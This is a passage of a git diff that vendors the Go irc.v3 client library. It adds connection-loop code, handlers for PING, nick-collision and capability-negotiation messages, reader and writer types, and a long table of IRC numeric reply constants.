CapAvailable(capName string) bool { + return c.caps[capName].Available +} + +func (c *Client) sendError(err error) { + select { + case c.errChan <- err: + default: + } +} + +func (c *Client) startReadLoop(wg *sync.WaitGroup, exiting chan struct{}) { + wg.Add(1) + + go func() { + defer wg.Done() + + for { + select { + case <-exiting: + return + default: + m, err := c.ReadMessage() + if err != nil { + c.sendError(err) + break + } + + if f, ok := clientFilters[m.Command]; ok { + f(c, m) + } + + if c.config.Handler != nil { + c.config.Handler.Handle(c, m) + } + } + } + }() +} + +// Run starts the main loop for this IRC connection. Note that it may break in +// strange and unexpected ways if it is called again before the first connection +// exits. +func (c *Client) Run() error { + return c.RunContext(context.TODO()) +} + +// RunContext is the same as Run but a context.Context can be passed in for +// cancelation. +func (c *Client) RunContext(ctx context.Context) error { + // exiting is used by the main goroutine here to ensure any sub-goroutines + // get closed when exiting. + exiting := make(chan struct{}) + var wg sync.WaitGroup + + c.maybeStartLimiter(&wg, exiting) + c.maybeStartPingLoop(&wg, exiting) + + c.currentNick = c.config.Nick + + if c.config.Pass != "" { + c.Writef("PASS :%s", c.config.Pass) + } + + c.maybeStartCapHandshake() + + // This feels wrong because it results in CAP LS, CAP REQ, NICK, USER, CAP + // END, but it works and lets us keep the code a bit simpler. + c.Writef("NICK :%s", c.config.Nick) + c.Writef("USER %s 0 * :%s", c.config.User, c.config.Name) + + // Now that the handshake is pretty much done, we can start listening for + // messages. + c.startReadLoop(&wg, exiting) + + // Wait for an error from any goroutine or for the context to time out, then + // signal we're exiting and wait for the goroutines to exit. + var err error + select { + case err = <-c.errChan: + case <-ctx.Done(): + } + + close(exiting) + c.rwc.Close() + wg.Wait() + + return err +} + +// CurrentNick returns what the nick of the client is known to be at this point +// in time. +func (c *Client) CurrentNick() string { + return c.currentNick +} + +// FromChannel takes a Message representing a PRIVMSG and returns if that +// message came from a channel or directly from a user. +func (c *Client) FromChannel(m *Message) bool { + if len(m.Params) < 1 { + return false + } + + // The first param is the target, so if this doesn't match the current nick, + // the message came from a channel. + return m.Params[0] != c.currentNick +} diff --git a/vendor/gopkg.in/irc.v3/client_handlers.go b/vendor/gopkg.in/irc.v3/client_handlers.go new file mode 100644 index 000000000..e026b34ce --- /dev/null +++ b/vendor/gopkg.in/irc.v3/client_handlers.go @@ -0,0 +1,151 @@ +package irc + +import ( + "fmt" + "strings" +) + +type clientFilter func(*Client, *Message) + +// clientFilters are pre-processing which happens for certain message +// types. These were moved from below to keep the complexity of each +// component down. +var clientFilters = map[string]clientFilter{ + "001": handle001, + "433": handle433, + "437": handle437, + "PING": handlePing, + "PONG": handlePong, + "NICK": handleNick, + "CAP": handleCap, +} + +// From rfc2812 section 5.1 (Command responses) +// +// 001 RPL_WELCOME +// "Welcome to the Internet Relay Network +// <nick>!<user>@<host>" +func handle001(c *Client, m *Message) { + c.currentNick = m.Params[0] + c.connected = true +} + +// From rfc2812 section 5.2 (Error Replies) +// +// 433 ERR_NICKNAMEINUSE +// "<nick> :Nickname is already in use" +// +// - Returned when a NICK message is processed that results +// in an attempt to change to a currently existing +// nickname. +func handle433(c *Client, m *Message) { + // We only want to try and handle nick collisions during the initial + // handshake. + if c.connected { + return + } + c.currentNick += "_" + c.Writef("NICK :%s", c.currentNick) +} + +// From rfc2812 section 5.2 (Error Replies) +// +// 437 ERR_UNAVAILRESOURCE +// "<nick/channel> :Nick/channel is temporarily unavailable" +// +// - Returned by a server to a user trying to join a channel +// currently blocked by the channel delay mechanism. +// +// - Returned by a server to a user trying to change nickname +// when the desired nickname is blocked by the nick delay +// mechanism. +func handle437(c *Client, m *Message) { + // We only want to try and handle nick collisions during the initial + // handshake. + if c.connected { + return + } + c.currentNick += "_" + c.Writef("NICK :%s", c.currentNick) +} + +func handlePing(c *Client, m *Message) { + reply := m.Copy() + reply.Command = "PONG" + c.WriteMessage(reply) +} + +func handlePong(c *Client, m *Message) { + if c.incomingPongChan != nil { + select { + case c.incomingPongChan <- m.Trailing(): + default: + // Note that this return isn't really needed, but it helps some code + // coverage tools actually see this line. + return + } + } +} + +func handleNick(c *Client, m *Message) { + if m.Prefix.Name == c.currentNick && len(m.Params) > 0 { + c.currentNick = m.Params[0] + } +} + +var capFilters = map[string]clientFilter{ + "LS": handleCapLs, + "ACK": handleCapAck, + "NAK": handleCapNak, +} + +func handleCap(c *Client, m *Message) { + if c.remainingCapResponses <= 0 || len(m.Params) <= 2 { + return + } + + if filter, ok := capFilters[m.Params[1]]; ok { + filter(c, m) + } + + if c.remainingCapResponses <= 0 { + for key, cap := range c.caps { + if cap.Required && !cap.Enabled { + c.sendError(fmt.Errorf("CAP %s requested but not accepted", key)) + return + } + } + + c.Write("CAP END") + } +} + +func handleCapLs(c *Client, m *Message) { + for _, key := range strings.Split(m.Trailing(), " ") { + cap := c.caps[key] + cap.Available = true + c.caps[key] = cap + } + c.remainingCapResponses-- +} + +func handleCapAck(c *Client, m *Message) { + for _, key := range strings.Split(m.Trailing(), " ") { + cap := c.caps[key] + cap.Enabled = true + c.caps[key] = cap + } + c.remainingCapResponses-- +} + +func handleCapNak(c *Client, m *Message) { + // If we got a NAK and this REQ was required, we need to bail + // with an error. + for _, key := range strings.Split(m.Trailing(), " ") { + if c.caps[key].Required { + c.sendError(fmt.Errorf("CAP %s requested but was rejected", key)) + return + } + } + c.remainingCapResponses-- +} diff --git a/vendor/gopkg.in/irc.v3/conn.go b/vendor/gopkg.in/irc.v3/conn.go new file mode 100644 index 000000000..f778e9538 --- /dev/null +++ b/vendor/gopkg.in/irc.v3/conn.go @@ -0,0 +1,111 @@ +package irc + +import ( + "bufio" + "fmt" + "io" +) + +// Conn represents a simple IRC client. It embeds an irc.Reader and an +// irc.Writer. +type Conn struct { + *Reader + *Writer +} + +// NewConn creates a new Conn +func NewConn(rw io.ReadWriter) *Conn { + return &Conn{ + NewReader(rw), + NewWriter(rw), + } +} + +// Writer is the outgoing side of a connection. +type Writer struct { + // DebugCallback is called for each outgoing message. The name of this may + // not be stable. + DebugCallback func(line string) + + // Internal fields + writer io.Writer + writeCallback func(w *Writer, line string) error +} + +func defaultWriteCallback(w *Writer, line string) error { + _, err := w.writer.Write([]byte(line + "\r\n")) + return err +} + +// NewWriter creates an irc.Writer from an io.Writer. +func NewWriter(w io.Writer) *Writer { + return &Writer{nil, w, defaultWriteCallback} +} + +// Write is a simple function which will write the given line to the +// underlying connection. +func (w *Writer) Write(line string) error { + if w.DebugCallback != nil { + w.DebugCallback(line) + } + + return w.writeCallback(w, line) +} + +// Writef is a wrapper around the connection's Write method and +// fmt.Sprintf. Simply use it to send a message as you would normally +// use fmt.Printf. +func (w *Writer) Writef(format string, args ...interface{}) error { + return w.Write(fmt.Sprintf(format, args...)) +} + +// WriteMessage writes the given message to the stream +func (w *Writer) WriteMessage(m *Message) error { + return w.Write(m.String()) +} + +// Reader is the incoming side of a connection. The data will be +// buffered, so do not re-use the io.Reader used to create the +// irc.Reader. +type Reader struct { + // DebugCallback is called for each incoming message. The name of this may + // not be stable. + DebugCallback func(string) + + // Internal fields + reader *bufio.Reader +} + +// NewReader creates an irc.Reader from an io.Reader. Note that once a reader is +// passed into this function, you should no longer use it as it is being used +// inside a bufio.Reader so you cannot rely on only the amount of data for a +// Message being read when you call ReadMessage. +func NewReader(r io.Reader) *Reader { + return &Reader{ + nil, + bufio.NewReader(r), + } +} + +// ReadMessage returns the next message from the stream or an error. +// It ignores empty messages. +func (r *Reader) ReadMessage() (msg *Message, err error) { + // It's valid for a message to be empty. Clients should ignore these, + // so we do to be good citizens. + err = ErrZeroLengthMessage + for err == ErrZeroLengthMessage { + var line string + line, err = r.reader.ReadString('\n') + if err != nil { + return nil, err + } + + if r.DebugCallback != nil { + r.DebugCallback(line) + } + + // Parse the message from our line + msg, err = ParseMessage(line) + } + return msg, err +} diff --git a/vendor/gopkg.in/irc.v3/handler.go b/vendor/gopkg.in/irc.v3/handler.go new file mode 100644 index 000000000..6a9fca7d1 --- /dev/null +++ b/vendor/gopkg.in/irc.v3/handler.go @@ -0,0 +1,16 @@ +package irc + +// Handler is a simple interface meant for dispatching a message from +// a Client connection. +type Handler interface { + Handle(*Client, *Message) +} + +// HandlerFunc is a simple wrapper around a function which allows it +// to be used as a Handler. +type HandlerFunc func(*Client, *Message) + +// Handle calls f(c, m) +func (f HandlerFunc) Handle(c *Client, m *Message) { + f(c, m) +} diff --git a/vendor/gopkg.in/irc.v3/numerics.go b/vendor/gopkg.in/irc.v3/numerics.go new file mode 100644 index 000000000..546b62139 --- /dev/null +++ b/vendor/gopkg.in/irc.v3/numerics.go @@ -0,0 +1,688 @@ +//nolint +package irc + +const ( + // RFC1459 + RPL_TRACELINK = "200" + RPL_TRACECONNECTING = "201" + RPL_TRACEHANDSHAKE = "202" + RPL_TRACEUNKNOWN = "203" + RPL_TRACEOPERATOR = "204" + RPL_TRACEUSER = "205" + RPL_TRACESERVER = "206" + RPL_TRACENEWTYPE = "208" + RPL_STATSLINKINFO = "211" + RPL_STATSCOMMANDS = "212" + RPL_STATSCLINE = "213" + RPL_STATSNLINE = "214" + RPL_STATSILINE = "215" + RPL_STATSKLINE = "216" + RPL_STATSQLINE = "217" + RPL_STATSYLINE = "218" + RPL_ENDOFSTATS = "219" + RPL_UMODEIS = "221" + RPL_STATSLLINE = "241" + RPL_STATSUPTIME = "242" + RPL_STATSOLINE = "243" + RPL_STATSHLINE = "244" + RPL_LUSERCLIENT = "251" + RPL_LUSEROP = "252" + RPL_LUSERUNKNOWN = "253" + RPL_LUSERCHANNELS = "254" + RPL_LUSERME = "255" + RPL_ADMINME = "256" + RPL_ADMINLOC1 = "257" + RPL_ADMINLOC2 = "258" + RPL_ADMINEMAIL = "259" + RPL_TRACELOG = "261" + RPL_NONE = "300" + RPL_AWAY = "301" + RPL_USERHOST = "302" + RPL_ISON = "303" + RPL_UNAWAY = "305" + RPL_NOWAWAY = "306" + RPL_WHOISUSER = "311" + RPL_WHOISSERVER = "312" + RPL_WHOISOPERATOR = "313" + RPL_WHOWASUSER = "314" + RPL_ENDOFWHO = "315" + RPL_WHOISIDLE = "317" + RPL_ENDOFWHOIS = "318" + RPL_WHOISCHANNELS = "319" + RPL_LIST = "322" + RPL_LISTEND = "323" + RPL_CHANNELMODEIS = "324" + RPL_NOTOPIC = "331" + RPL_TOPIC = "332" + RPL_INVITING = "341" + RPL_VERSION = "351" + RPL_WHOREPLY = "352" + RPL_NAMREPLY = "353" + RPL_LINKS = "364" + RPL_ENDOFLINKS = "365" + RPL_ENDOFNAMES = "366" + RPL_BANLIST = "367" + RPL_ENDOFBANLIST = "368" + RPL_ENDOFWHOWAS = "369" + RPL_INFO = "371" + RPL_MOTD = "372" + RPL_ENDOFINFO = "374" + RPL_MOTDSTART = "375" + RPL_ENDOFMOTD = "376" + RPL_YOUREOPER = "381" + RPL_REHASHING = "382" + RPL_TIME = "391" + RPL_USERSSTART = "392" + RPL_USERS = "393" + RPL_ENDOFUSERS = "394" + RPL_NOUSERS = "395" + ERR_NOSUCHNICK = "401" + ERR_NOSUCHSERVER = "402" + ERR_NOSUCHCHANNEL = "403" + ERR_CANNOTSENDTOCHAN = "404" + ERR_TOOMANYCHANNELS = "405" + ERR_WASNOSUCHNICK = "406" + ERR_TOOMANYTARGETS = "407" + ERR_NOORIGIN = "409" + ERR_NORECIPIENT = "411" + ERR_NOTEXTTOSEND = "412" + ERR_NOTOPLEVEL = "413" + ERR_WILDTOPLEVEL = "414" + ERR_UNKNOWNCOMMAND = "421" + ERR_NOMOTD = "422" + ERR_NOADMININFO = "423" + ERR_FILEERROR = "424" + ERR_NONICKNAMEGIVEN = "431" + ERR_ERRONEUSNICKNAME = "432" + ERR_NICKNAMEINUSE = "433" + ERR_NICKCOLLISION = "436" + ERR_USERNOTINCHANNEL = "441" + ERR_NOTONCHANNEL = "442" + ERR_USERONCHANNEL = "443" + ERR_NOLOGIN = "444" + ERR_SUMMONDISABLED = "445" + ERR_USERSDISABLED = "446" + ERR_NOTREGISTERED = "451" + ERR_NEEDMOREPARAMS = "461" + ERR_ALREADYREGISTERED = "462" + ERR_NOPERMFORHOST = "463" + ERR_PASSWDMISMATCH = "464" + ERR_YOUREBANNEDCREEP = "465" + ERR_KEYSET = "467" + ERR_CHANNELISFULL = "471" + ERR_UNKNOWNMODE = "472" + ERR_INVITEONLYCHAN = "473" + ERR_BANNEDFROMCHAN = "474" + ERR_BADCHANNELKEY = "475" + ERR_NOPRIVILEGES = "481" + ERR_CHANOPRIVSNEEDED = "482" + ERR_CANTKILLSERVER = "483" + ERR_NOOPERHOST = "491" + ERR_UMODEUNKNOWNFLAG = "501" + ERR_USERSDONTMATCH = "502" + + // RFC1459 (Obsolete) + RPL_SERVICEINFO = "231" + RPL_ENDOFSERVICES = "232" + RPL_SERVICE = "233" + RPL_WHOISCHANOP = "316" + RPL_LISTSTART = "321" + RPL_SUMMONING = "342" + RPL_KILLDONE = "361" + RPL_CLOSING = "362" + RPL_CLOSEEND = "363" + RPL_INFOSTART = "373" + RPL_MYPORTIS = "384" + ERR_YOUWILLBEBANNED = "466" + ERR_NOSERVICEHOST = "492" + + // RFC2812 + RPL_WELCOME = "001" + RPL_YOURHOST = "002" + RPL_CREATED = "003" + RPL_MYINFO = "004" + RPL_TRACESERVICE = "207" + RPL_TRACECLASS = "209" + RPL_SERVLIST = "234" + RPL_SERVLISTEND = "235" + RPL_STATSVLINE = "240" + RPL_STATSBLINE = "247" + RPL_STATSDLINE = "250" + RPL_TRACEEND = "262" + RPL_TRYAGAIN = "263" + RPL_UNIQOPIS = "325" + RPL_INVITELIST = "346" + RPL_ENDOFINVITELIST = "347" + RPL_EXCEPTLIST = "348" + RPL_ENDOFEXCEPTLIST = "349" + RPL_YOURESERVICE = "383" + ERR_NOSUCHSERVICE = "408" + ERR_BADMASK = "415" + ERR_UNAVAILRESOURCE = "437" + ERR_BADCHANMASK = "476" + ERR_NOCHANMODES = "477" + ERR_BANLISTFULL = "478" + ERR_RESTRICTED = "484" + ERR_UNIQOPRIVSNEEDED = "485" + + // RFC2812 (Obsolete) + RPL_BOUNCE = "005" + RPL_TRACERECONNECT = "210" + RPL_STATSPING = "246" + + // IRCv3 + ERR_INVALIDCAPCMD = "410" // Undernet? + RPL_STARTTLS = "670" + ERR_STARTTLS = "691" + RPL_MONONLINE = "730" // RatBox + RPL_MONOFFLINE = "731" // RatBox + RPL_MONLIST = "732" // RatBox + RPL_ENDOFMONLIST = "733" // RatBox + ERR_MONLISTFULL = "734" // RatBox + RPL_WHOISKEYVALUE = "760" + RPL_KEYVALUE = "761" + RPL_METADATAEND = "762" + ERR_METADATALIMIT = "764" + ERR_TARGETINVALID = "765" + ERR_NOMATCHINGKEY = "766" + ERR_KEYINVALID = "767" + ERR_KEYNOTSET = "768" + ERR_KEYNOPERMISSION = "769" + RPL_LOGGEDIN = "900" // Charybdis/Atheme, IRCv3 + RPL_LOGGEDOUT = "901" // Charybdis/Atheme, IRCv3 + ERR_NICKLOCKED = "902" // Charybdis/Atheme, IRCv3 + RPL_SASLSUCCESS = "903" // Charybdis/Atheme, IRCv3 + ERR_SASLFAIL = "904" // Charybdis/Atheme, IRCv3 + ERR_SASLTOOLONG = "905" // Charybdis/Atheme, IRCv3 + ERR_SASLABORTED = "906" // Charybdis/Atheme, IRCv3 + ERR_SASLALREADY = "907" // Charybdis/Atheme, IRCv3 + RPL_SASLMECHS = "908" // Charybdis/Atheme, IRCv3 + + // Other + RPL_ISUPPORT = "005" + + // Ignored + // + // Anything not in an RFC has not been included because + // there are way too many conflicts to deal with. + /* + RPL_MAP = "006" // Unreal + RPL_MAPEND = "007" // Unreal + RPL_SNOMASK = "008" // ircu + RPL_STATMEMTOT = "009" // ircu + RPL_BOUNCE = "010" + RPL_YOURCOOKIE = "014" // Hybrid? + RPL_MAP = "015" // ircu + RPL_MAPMORE = "016" // ircu + RPL_MAPEND = "017" // ircu + RPL_MAPUSERS = "018" // InspIRCd + RPL_HELLO = "020" // rusnet-ircd + RPL_APASSWARN_SET = "030" // ircu + RPL_APASSWARN_SECRET = "031" // ircu + RPL_APASSWARN_CLEAR = "032" // ircu + RPL_YOURID = "042" // IRCnet + RPL_SAVENICK = "043" // IRCnet + RPL_ATTEMPTINGJUNC = "050" // aircd + RPL_ATTEMPTINGREROUTE = "051" // aircd + RPL_REMOTEISUPPORT = "105" // Unreal + RPL_STATS = "210" // aircd + RPL_STATSHELP = "210" // Unreal + RPL_STATSPLINE = "217" // ircu + RPL_STATSPLINE = "220" // Hybrid + RPL_STATSBLINE = "220" // Bahamut, Unreal + RPL_STATSWLINE = "220" // Nefarious + RPL_MODLIST = "222" + RPL_SQLINE_NICK = "222" // Unreal + RPL_STATSBLINE = "222" // Bahamut + RPL_STATSJLINE = "222" // ircu + RPL_CODEPAGE = "222" // rusnet-ircd + RPL_STATSELINE = "223" // Bahamut + RPL_STATSGLINE = "223" // Unreal + RPL_CHARSET = "223" // rusnet-ircd + RPL_STATSFLINE = "224" // Hybrid, Bahamut + RPL_STATSTLINE = "224" // Unreal + RPL_STATSDLINE = "225" // Hybrid + RPL_STATSCLONE = "225" // Bahamut + RPL_STATSELINE = "225" // Unreal + RPL_STATSCOUNT = "226" // Bahamut + RPL_STATSALINE = "226" // Hybrid + RPL_STATSNLINE = "226" // Unreal + RPL_STATSGLINE = "227" // Bahamut + RPL_STATSVLINE = "227" // Unreal + RPL_STATSBLINE = "227" // Rizon + RPL_STATSQLINE = "228" // ircu + RPL_STATSBANVER = "228" // Unreal + RPL_STATSSPAMF = "229" // Unreal + RPL_STATSEXCEPTTKL = "230" // Unreal + RPL_RULES = "232" // Unreal + RPL_STATSVERBOSE = "236" // ircu + RPL_STATSENGINE = "237" // ircu + RPL_STATSFLINE = "238" // ircu + RPL_STATSIAUTH = "239" // IRCnet + RPL_STATSXLINE = "240" // AustHex + RPL_STATSSLINE = "245" // Bahamut, IRCnet, Hybrid + RPL_STATSTLINE = "245" // Hybrid? + RPL_STATSSERVICE = "246" // Hybrid + RPL_STATSTLINE = "246" // ircu + RPL_STATSULINE = "246" // Hybrid + RPL_STATSXLINE = "247" // Hybrid, PTlink, Unreal + RPL_STATSGLINE = "247" // ircu + RPL_STATSULINE = "248" // ircu + RPL_STATSDEFINE = "248" // IRCnet + RPL_STATSULINE = "249" + RPL_STATSDEBUG = "249" // Hybrid + RPL_STATSCONN = "250" // ircu, Unreal + RPL_TRACEPING = "262" + RPL_USINGSSL = "264" // rusnet-ircd + RPL_LOCALUSERS = "265" // aircd, Hybrid, Bahamut + RPL_GLOBALUSERS = "266" // aircd, Hybrid, Bahamut + RPL_START_NETSTAT = "267" // aircd + RPL_NETSTAT = "268" // aircd + RPL_END_NETSTAT = "269" // aircd + RPL_PRIVS = "270" // ircu + RPL_SILELIST = "271" // ircu + RPL_ENDOFSILELIST = "272" // ircu + RPL_NOTIFY = "273" // aircd + RPL_ENDNOTIFY = "274" // aircd + RPL_STATSDELTA = "274" // IRCnet + RPL_STATSDLINE = "275" // ircu, Ultimate + RPL_USINGSSL = "275" // Bahamut + RPL_WHOISCERTFP = "276" // oftc-hybrid + RPL_STATSRLINE = "276" // ircu + RPL_GLIST = "280" // ircu + RPL_ENDOFGLIST = "281" // ircu + RPL_ACCEPTLIST = "281" + RPL_ENDOFACCEPT = "282" + RPL_JUPELIST = "282" // ircu + RPL_ALIST = "283" + RPL_ENDOFJUPELIST = "283" // ircu + RPL_ENDOFALIST = "284" + RPL_FEATURE = "284" // ircu + RPL_GLIST_HASH = "285" + RPL_CHANINFO_HANDLE = "285" // aircd + RPL_NEWHOSTIS = "285" // QuakeNet + RPL_CHANINFO_USERS = "286" // aircd + RPL_CHKHEAD = "286" // QuakeNet + RPL_CHANINFO_CHOPS = "287" // aircd + RPL_CHANUSER = "287" // QuakeNet + RPL_CHANINFO_VOICES = "288" // aircd + RPL_PATCHHEAD = "288" // QuakeNet + RPL_CHANINFO_AWAY = "289" // aircd + RPL_PATCHCON = "289" // QuakeNet + RPL_CHANINFO_OPERS = "290" // aircd + RPL_HELPHDR = "290" // Unreal + RPL_DATASTR = "290" // QuakeNet + RPL_CHANINFO_BANNED = "291" // aircd + RPL_HELPOP = "291" // Unreal + RPL_ENDOFCHECK = "291" // QuakeNet + RPL_CHANINFO_BANS = "292" // aircd + RPL_HELPTLR = "292" // Unreal + ERR_SEARCHNOMATCH = "292" // Nefarious + RPL_CHANINFO_INVITE = "293" // aircd + RPL_HELPHLP = "293" // Unreal + RPL_CHANINFO_INVITES = "294" // aircd + RPL_HELPFWD = "294" // Unreal + RPL_CHANINFO_KICK = "295" // aircd + RPL_HELPIGN = "295" // Unreal + RPL_CHANINFO_KICKS = "296" // aircd + RPL_END_CHANINFO = "299" // aircd + RPL_TEXT = "304" // irc2? + RPL_USERIP = "307" + RPL_WHOISREGNICK = "307" // Bahamut, Unreal + RPL_SUSERHOST = "307" // AustHex + RPL_NOTIFYACTION = "308" // aircd + RPL_WHOISADMIN = "308" // Bahamut + RPL_RULESSTART = "308" // Unreal + RPL_NICKTRACE = "309" // aircd + RPL_WHOISSADMIN = "309" // Bahamut + RPL_ENDOFRULES = "309" // Unreal + RPL_WHOISHELPER = "309" // AustHex + RPL_WHOISSVCMSG = "310" // Bahamut + RPL_WHOISHELPOP = "310" // Unreal + RPL_WHOISSERVICE = "310" // AustHex + RPL_WHOISPRIVDEAF = "316" // Nefarious + RPL_WHOISVIRT = "320" // AustHex + RPL_WHOIS_HIDDEN = "320" // Anothernet + RPL_WHOISSPECIAL = "320" // Unreal + RPL_CHANNELPASSIS = "325" + RPL_WHOISWEBIRC = "325" // Nefarious + RPL_NOCHANPASS = "326" + RPL_CHPASSUNKNOWN = "327" + RPL_WHOISHOST = "327" // rusnet-ircd + RPL_CHANNEL_URL = "328" // Bahamut, AustHex + RPL_CREATIONTIME = "329" // Bahamut + RPL_WHOWAS_TIME = "330" + RPL_WHOISACCOUNT = "330" // ircu + RPL_TOPICWHOTIME = "333" // ircu + RPL_LISTUSAGE = "334" // ircu + RPL_COMMANDSYNTAX = "334" // Bahamut + RPL_LISTSYNTAX = "334" // Unreal + RPL_WHOISBOT = "335" // Unreal + RPL_WHOISTEXT = "335" // Hybrid + RPL_WHOISACCOUNTONLY = "335" // Nefarious + RPL_INVITELIST = "336" // Hybrid + RPL_WHOISBOT = "336" // Nefarious + RPL_ENDOFINVITELIST = "337" // Hybrid + RPL_WHOISTEXT = "337" // Hybrid? + RPL_CHANPASSOK = "338" + RPL_WHOISACTUALLY = "338" // ircu, Bahamut + RPL_BADCHANPASS = "339" + RPL_WHOISMARKS = "339" // Nefarious + RPL_USERIP = "340" // ircu + RPL_WHOISKILL = "343" // Nefarious + RPL_WHOISCOUNTRY = "344" // InspIRCd 3.0 + RPL_INVITED = "345" // GameSurge + RPL_WHOISGATEWAY = "350" // InspIRCd 3.0 + RPL_WHOSPCRPL = "354" // ircu + RPL_NAMREPLY_ = "355" // QuakeNet + RPL_MAP = "357" // AustHex + RPL_MAPMORE = "358" // AustHex + RPL_MAPEND = "359" // AustHex + RPL_KICKEXPIRED = "377" // aircd + RPL_BANEXPIRED = "378" // aircd + RPL_WHOISHOST = "378" // Unreal + RPL_KICKLINKED = "379" // aircd + RPL_WHOISMODES = "379" // Unreal + RPL_BANLINKED = "380" // aircd + RPL_YOURHELPER = "380" // AustHex + RPL_NOTOPERANYMORE = "385" // AustHex, Hybrid, Unreal + RPL_QLIST = "386" // Unreal + RPL_IRCOPS = "386" // Ultimate + RPL_IRCOPSHEADER = "386" // Nefarious + RPL_ENDOFQLIST = "387" // Unreal + RPL_ENDOFIRCOPS = "387" // Ultimate + RPL_IRCOPS = "387" // Nefarious + RPL_ALIST = "388" // Unreal + RPL_ENDOFIRCOPS = "388" // Nefarious + RPL_ENDOFALIST = "389" // Unreal + RPL_TIME = "391" // ircu + RPL_TIME = "391" // bdq-ircd + RPL_TIME = "391" + RPL_VISIBLEHOST = "396" // Hybrid + RPL_CLONES = "399" // InspIRCd 3.0 + ERR_UNKNOWNERROR = "400" + ERR_NOCOLORSONCHAN = "408" // Bahamut + ERR_NOCTRLSONCHAN = "408" // Hybrid + ERR_TOOMANYMATCHES = "416" // IRCnet + ERR_QUERYTOOLONG = "416" // ircu + ERR_INPUTTOOLONG = "417" // ircu + ERR_LENGTHTRUNCATED = "419" // aircd + ERR_AMBIGUOUSCOMMAND = "420" // InspIRCd + ERR_NOOPERMOTD = "425" // Unreal + ERR_TOOMANYAWAY = "429" // Bahamut + ERR_EVENTNICKCHANGE = "430" // AustHex + ERR_SERVICENAMEINUSE = "434" // AustHex? + ERR_NORULES = "434" // Unreal, Ultimate + ERR_SERVICECONFUSED = "435" // Unreal + ERR_BANONCHAN = "435" // Bahamut + ERR_BANNICKCHANGE = "437" // ircu + ERR_NICKTOOFAST = "438" // ircu + ERR_DEAD = "438" // IRCnet + ERR_TARGETTOOFAST = "439" // ircu + ERR_SERVICESDOWN = "440" // Bahamut, Unreal + ERR_NONICKCHANGE = "447" // Unreal + ERR_FORBIDDENCHANNEL = "448" // Unreal + ERR_NOTIMPLEMENTED = "449" // Undernet + ERR_IDCOLLISION = "452" + ERR_NICKLOST = "453" + ERR_HOSTILENAME = "455" // Unreal + ERR_ACCEPTFULL = "456" + ERR_ACCEPTEXIST = "457" + ERR_ACCEPTNOT = "458" + ERR_NOHIDING = "459" // Unreal + ERR_NOTFORHALFOPS = "460" // Unreal + ERR_INVALIDUSERNAME = "468" // ircu + ERR_ONLYSERVERSCANCHANGE = "468" // Bahamut, Unreal + ERR_NOCODEPAGE = "468" // rusnet-ircd + ERR_LINKSET = "469" // Unreal + ERR_LINKCHANNEL = "470" // Unreal + ERR_KICKEDFROMCHAN = "470" // aircd + ERR_7BIT = "470" // rusnet-ircd + ERR_NEEDREGGEDNICK = "477" // Bahamut, ircu, Unreal + ERR_BADCHANNAME = "479" // Hybrid + ERR_LINKFAIL = "479" // Unreal + ERR_NOCOLOR = "479" // rusnet-ircd + ERR_NOULINE = "480" // AustHex + ERR_CANNOTKNOCK = "480" // Unreal + ERR_THROTTLE = "480" // Ratbox + ERR_NOWALLOP = "480" // rusnet-ircd + ERR_ISCHANSERVICE = "484" // Undernet + ERR_DESYNC = "484" // Bahamut, Hybrid, PTlink + ERR_ATTACKDENY = "484" // Unreal + ERR_KILLDENY = "485" // Unreal + ERR_CANTKICKADMIN = "485" // PTlink + ERR_ISREALSERVICE = "485" // QuakeNet + ERR_CHANBANREASON = "485" // Hybrid + ERR_NONONREG = "486" // Unreal? + ERR_HTMDISABLED = "486" // Unreal + ERR_ACCOUNTONLY = "486" // QuakeNet + ERR_RLINED = "486" // rusnet-ircd + ERR_CHANTOORECENT = "487" // IRCnet + ERR_MSGSERVICES = "487" // Bahamut + ERR_NOTFORUSERS = "487" // Unreal? + ERR_NONONSSL = "487" // ChatIRCd + ERR_TSLESSCHAN = "488" // IRCnet + ERR_HTMDISABLED = "488" // Unreal? + ERR_NOSSL = "488" // Bahamut + ERR_SECUREONLYCHAN = "489" // Unreal + ERR_VOICENEEDED = "489" // Undernet + ERR_ALLMUSTSSL = "490" // InspIRCd + ERR_NOSWEAR = "490" // Unreal + ERR_NOCTCP = "492" // Hybrid / Unreal? + ERR_CANNOTSENDTOUSER = "492" // Charybdis? + ERR_NOSHAREDCHAN = "493" // Bahamut + ERR_NOFEATURE = "493" // ircu + ERR_BADFEATVALUE = "494" // ircu + ERR_OWNMODE = "494" // Bahamut, charybdis? + ERR_BADLOGTYPE = "495" // ircu + ERR_BADLOGSYS = "496" // ircu + ERR_BADLOGVALUE = "497" // ircu + ERR_ISOPERLCHAN = "498" // ircu + ERR_CHANOWNPRIVNEEDED = "499" // Unreal + ERR_TOOMANYJOINS = "500" // Unreal? + ERR_NOREHASHPARAM = "500" // rusnet-ircd + ERR_CANNOTSETMODER = "500" // InspIRCd + ERR_UNKNOWNSNOMASK = "501" // InspIRCd + ERR_USERNOTONSERV = "504" + ERR_SILELISTFULL = "511" // ircu + ERR_TOOMANYWATCH = "512" // Bahamut + ERR_NOSUCHGLINE = "512" // ircu + ERR_BADPING = "513" // ircu + ERR_TOOMANYDCC = "514" // Bahamut + ERR_NOSUCHJUPE = "514" // irch + ERR_BADEXPIRE = "515" // ircu + ERR_DONTCHEAT = "516" // ircu + ERR_DISABLED = "517" // ircu + ERR_NOINVITE = "518" // Unreal + ERR_LONGMASK = "518" // ircu + ERR_ADMONLY = "519" // Unreal + ERR_TOOMANYUSERS = "519" // ircu + ERR_OPERONLY = "520" // Unreal + ERR_MASKTOOWIDE = "520" // ircu + ERR_LISTSYNTAX = "521" // Bahamut + ERR_NOSUCHGLINE = "521" // Nefarious + ERR_WHOSYNTAX = "522" // Bahamut + ERR_WHOLIMEXCEED = "523" // Bahamut + ERR_QUARANTINED = "524" // ircu + ERR_OPERSPVERIFY = "524" // Unreal + ERR_HELPNOTFOUND = "524" // Hybrid + ERR_INVALIDKEY = "525" // ircu + ERR_CANTSENDTOUSER = "531" // InspIRCd + ERR_BADHOSTMASK = "550" // QuakeNet + ERR_HOSTUNAVAIL = "551" // QuakeNet + ERR_USINGSLINE = "552" // QuakeNet + ERR_STATSSLINE = "553" // QuakeNet + ERR_NOTLOWEROPLEVEL = "560" // ircu + ERR_NOTMANAGER = "561" // ircu + ERR_CHANSECURED = "562" // ircu + ERR_UPASSSET = "563" // ircu + ERR_UPASSNOTSET = "564" // ircu + ERR_NOMANAGER = "566" // ircu + ERR_UPASS_SAME_APASS = "567" // ircu + ERR_LASTERROR = "568" // ircu + RPL_NOOMOTD = "568" // Nefarious + RPL_REAWAY = "597" // Unreal + RPL_GONEAWAY = "598" // Unreal + RPL_NOTAWAY = "599" // 